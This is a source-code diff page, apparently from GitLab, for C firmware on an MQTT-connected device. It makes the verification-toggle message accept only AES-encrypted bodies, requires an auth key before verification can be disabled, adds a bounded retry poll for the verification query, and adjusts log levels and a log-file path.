if(strcmp(onlyid,s_only_id_middle) == 0 && strcmp(status, "1") == 0){ if(strcmp(onlyid,s_only_id_middle) == 0 && strcmp(status, "1") == 0){
my_zlog_debug("获得验证正确"); my_zlog_info("获得验证正确, onlyid=%s", onlyid);
s_service_verify = TRUE; s_service_verify = TRUE;
g_verify_index = 0; /* 后端通过后必须清除失败标志,否则正确 token 仍会提示验证不通过 */ g_verify_index = 0; /* 后端通过后必须清除失败标志,否则正确 token 仍会提示验证不通过 */
strcpy(s_secret_key, s_pending_verify_token); strcpy(s_secret_key, s_pending_verify_token);
...@@ -237,7 +241,7 @@ int message2006_verify(cJSON *body){ ...@@ -237,7 +241,7 @@ int message2006_verify(cJSON *body){
return 2; return 2;
} }
} else { } else {
my_zlog_debug("获得验证错误,禁止使用"); my_zlog_warn("获得验证错误,禁止使用, onlyid=%s status=%s", onlyid, status);
g_verify_index = 1; g_verify_index = 1;
s_service_verify = FALSE; s_service_verify = FALSE;
return 2; return 2;
...@@ -247,23 +251,75 @@ int message2006_verify(cJSON *body){ ...@@ -247,23 +251,75 @@ int message2006_verify(cJSON *body){
return 0; return 0;
} }
/*接收到是否打开验证的函数*/ /*接收到是否打开验证的函数;2013 仅接受 AES 加密 String body,明文一律拒绝*/
int message2013_recverigy_open(cJSON *body){ int message2013_recverigy_open(cJSON *body_raw)
cJSON *verifty_open_index = cJSON_GetObjectItem(body, "verify_status"); {
if(verifty_open_index == NULL){ cJSON *body = NULL;
my_zlog_debug("接收验证是否打开为空"); char *plain_json = NULL;
cJSON *verify_status = NULL;
cJSON *auth_key = NULL;
if (body_raw == NULL) {
my_zlog_warn("2013 body为空");
return -1; return -1;
} }
int verifty_open = verifty_open_index->valueint;
my_zlog_debug("verifty:%d",verifty_open); if (cJSON_IsObject(body_raw)) {
if(verifty_open == 0){ my_zlog_warn("2013 必须加密下发,明文拒绝");
VERIFIED_MODE=FALSE; return -1;
my_zlog_debug("verify close"); }
}else {
VERIFIED_MODE=TRUE; if (!cJSON_IsString(body_raw) || body_raw->valuestring == NULL) {
my_zlog_debug("verify open"); my_zlog_warn("2013 body类型无效");
} return -1;
return 0; }
if (mqtt_aes_decrypt_body(body_raw->valuestring, MQTT_ENCRYPT_KEY, &plain_json) != 0) {
my_zlog_warn("2013 body解密失败");
return -1;
}
body = cJSON_Parse(plain_json);
free(plain_json);
if (body == NULL) {
my_zlog_warn("2013 解密后JSON解析失败");
return -1;
}
verify_status = cJSON_GetObjectItem(body, "verify_status");
if (!cJSON_IsNumber(verify_status)) {
my_zlog_warn("2013 解密后缺少verify_status");
cJSON_Delete(body);
return -1;
}
s_verify_open_got_reply = true;
s_verify_open_query_gave_up = false;
if (verify_status->valueint == 1) {
VERIFIED_MODE = TRUE;
my_zlog_info("开启验证成功(加密校验通过), verify_status=1");
cJSON_Delete(body);
return 0;
}
if (verify_status->valueint == 0) {
auth_key = cJSON_GetObjectItem(body, "auth_key");
if (!cJSON_IsString(auth_key) || auth_key->valuestring == NULL
|| strcmp(auth_key->valuestring, MQTT_VERIFY_AUTH_KEY) != 0) {
my_zlog_warn("2013 关闭验证 auth_key校验失败");
cJSON_Delete(body);
return -1;
}
VERIFIED_MODE = FALSE;
my_zlog_info("关闭验证成功(加密+auth_key校验通过)");
cJSON_Delete(body);
return 0;
}
my_zlog_warn("2013 verify_status无效: %d", verify_status->valueint);
cJSON_Delete(body);
return -1;
} }
/*发送是否打开验证的mqtt给后端验证*/ /*发送是否打开验证的mqtt给后端验证*/
...@@ -287,7 +343,7 @@ int message_sendopen_verify(){ ...@@ -287,7 +343,7 @@ int message_sendopen_verify(){
return -1; return -1;
} }
my_zlog_debug("%s",payload); my_zlog_debug("发送验证查询: %s", payload);
for(int i=0;i<g_mqtt_cam_config_t->mqtt_count;i++){ for(int i=0;i<g_mqtt_cam_config_t->mqtt_count;i++){
mosquitto_publish(g_clients_t[i].mosq, NULL, mqtt_topic_pure_number(), strlen(payload), payload, 0, false); mosquitto_publish(g_clients_t[i].mosq, NULL, mqtt_topic_pure_number(), strlen(payload), payload, 0, false);
...@@ -298,15 +354,48 @@ int message_sendopen_verify(){ ...@@ -298,15 +354,48 @@ int message_sendopen_verify(){
return 0; return 0;
} }
static int verify_open_query_send_once(void) {
if (message_sendopen_verify() != 0) {
return -1;
}
s_verify_open_send_count++;
s_verify_open_last_send_time = time(NULL);
my_zlog_info("发送验证开关查询(3013), 第%d/%d次", s_verify_open_send_count, VERIFY_OPEN_QUERY_MAX);
return 0;
}
/*发送是否打开验证的mqtt给后端验证初始化*/ /*发送是否打开验证的mqtt给后端验证初始化*/
int verify_open_index_init(){ int verify_open_index_init(){
if(message_sendopen_verify()!=0){ s_verify_open_got_reply = false;
return -1; s_verify_open_query_gave_up = false;
s_verify_open_send_count = 0;
s_verify_open_last_send_time = 0;
return verify_open_query_send_once();
}
void verify_open_query_poll(void) {
if (s_verify_open_got_reply || s_verify_open_query_gave_up) {
return;
}
if (s_verify_open_last_send_time == 0) {
return;
} }
return 0; time_t now = time(NULL);
if (now - s_verify_open_last_send_time < VERIFY_OPEN_QUERY_INTERVAL_SEC) {
return;
}
if (s_verify_open_send_count >= VERIFY_OPEN_QUERY_MAX) {
my_zlog_warn("验证开关查询(3013)已发送%d次仍未收到后端2013回复,停止重试", VERIFY_OPEN_QUERY_MAX);
s_verify_open_query_gave_up = true;
return;
}
verify_open_query_send_once();
} }
int mqtt_verify_clear_send(char *status){ int mqtt_verify_clear_send(char *status){
...@@ -366,7 +455,7 @@ void mqtt_verify_data_clear(cJSON *body){ ...@@ -366,7 +455,7 @@ void mqtt_verify_data_clear(cJSON *body){
mqtt_verify_clear_send("0"); mqtt_verify_clear_send("0");
} }
} else { } else {
my_zlog_info("verify_clear_item 字段不存在或不是字符串类型"); my_zlog_warn("verify_clear_item 字段不存在或不是字符串类型");
mqtt_verify_clear_send("2"); mqtt_verify_clear_send("2");
} }
} }
......
...@@ -18,11 +18,14 @@ int receive_jwt(cJSON *body);//jwt验证 ...@@ -18,11 +18,14 @@ int receive_jwt(cJSON *body);//jwt验证
int message2006_verify(cJSON *body); int message2006_verify(cJSON *body);
/*接收到是否打开验证的函数*/ /*接收到是否打开验证的函数(2013 仅接受加密 body)*/
int message2013_recverigy_open(cJSON *body); int message2013_recverigy_open(cJSON *body);
/*发送是否打开验证的mqtt给后端验证初始化*/ /*发送是否打开验证的mqtt给后端验证初始化(首次发送3013)*/
int verify_open_index_init(); int verify_open_index_init();
/* 心跳线程轮询:未收到2013则按间隔重试,最多3次 */
void verify_open_query_poll(void);
void mqtt_verify_data_clear(cJSON *body); void mqtt_verify_data_clear(cJSON *body);
#endif #endif
\ No newline at end of file
...@@ -9,4 +9,4 @@ file perms = 600 ...@@ -9,4 +9,4 @@ file perms = 600
millisecond = "%d(%Y-%m-%d %H:%M:%S).%ms [%V] %m%n" millisecond = "%d(%Y-%m-%d %H:%M:%S).%ms [%V] %m%n"
[rules] [rules]
my_log.* "/home/orangepi/car/master/log/log_2026-05-08.log"; millisecond my_log.* "/home/orangepi/car/master/log/log_2026-06-10.log"; millisecond
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment